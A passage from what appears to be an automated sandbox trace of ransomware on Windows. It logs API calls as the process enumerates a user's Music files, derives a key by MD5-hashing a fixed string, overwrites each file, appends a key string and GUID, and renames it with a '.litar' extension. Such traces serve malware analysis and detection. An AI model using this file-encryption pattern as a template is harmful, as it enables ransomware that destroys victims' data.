lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.854] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.854] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.854] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.855] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.855] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.855] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.855] CloseHandle (hObject=0x624) returned 1 [0126.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0126.856] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0126.856] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\L4TT06vVg0ef.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\l4tt06vvg0ef.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\L4TT06vVg0ef.m4a.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\l4tt06vvg0ef.m4a.litar")) returned 1 [0126.856] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.856] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.857] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.857] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43794570, ftCreationTime.dwHighDateTime=0x1d4c835, ftLastAccessTime.dwLowDateTime=0x45304770, ftLastAccessTime.dwHighDateTime=0x1d4cd1b, ftLastWriteTime.dwLowDateTime=0x45304770, ftLastWriteTime.dwHighDateTime=0x1d4cd1b, nFileSizeHigh=0x0, nFileSizeLow=0x8c09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WBMmCD2Hu9jcGCg.wav", cAlternateFileName="WBMMCD~1.WAV")) returned 1 [0126.857] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.857] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.857] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.857] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\WBMmCD2Hu9jcGCg.wav") returned=".wav" [0126.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\WBMmCD2Hu9jcGCg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\wbmmcd2hu9jcgcg.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.858] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=35849) returned 1 [0126.858] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.860] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8be3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.860] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.861] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.862] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.862] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.862] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x8c09, lpOverlapped=0x0) returned 1 [0126.862] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.862] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.862] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.862] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.862] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.863] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.863] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.863] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.863] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.863] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.863] GetLastError () returned 0x0 [0126.863] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.863] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.863] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c10) returned 0x30fa0b0 [0126.864] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.864] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x8c04, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x8c04, lpOverlapped=0x0) returned 1 [0126.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.864] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x8c09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0126.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.864] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0126.864] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.864] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.864] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.864] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.865] CloseHandle (hObject=0x624) returned 1 [0126.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0126.865] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.865] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0126.865] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\WBMmCD2Hu9jcGCg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\wbmmcd2hu9jcgcg.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\YJf_dR\\WBMmCD2Hu9jcGCg.wav.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\yjf_dr\\wbmmcd2hu9jcgcg.wav.litar")) returned 1 [0126.866] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.866] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.867] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bc028d0, ftCreationTime.dwHighDateTime=0x1d4c975, ftLastAccessTime.dwLowDateTime=0xb5d346c0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xb5d346c0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_IS6dQkXRiXDfJ5-", cAlternateFileName="_IS6DQ~1")) returned 1 [0126.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0126.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0126.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd1b8 [0126.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0126.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0126.867] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bc028d0, ftCreationTime.dwHighDateTime=0x1d4c975, ftLastAccessTime.dwLowDateTime=0xb5d346c0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xb5d346c0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_IS6dQkXRiXDfJ5-", cAlternateFileName="_IS6DQ~1")) returned 0 [0126.867] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0126.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0126.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0126.867] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0126.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0126.867] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0126.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.867] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.867] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.868] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.868] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.869] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.869] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.870] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.870] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.871] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.871] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.871] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.871] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.871] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.871] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0126.871] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.871] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.871] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.871] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.871] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.871] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.871] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.871] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.871] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.871] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.871] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.871] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.871] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.871] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.871] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: 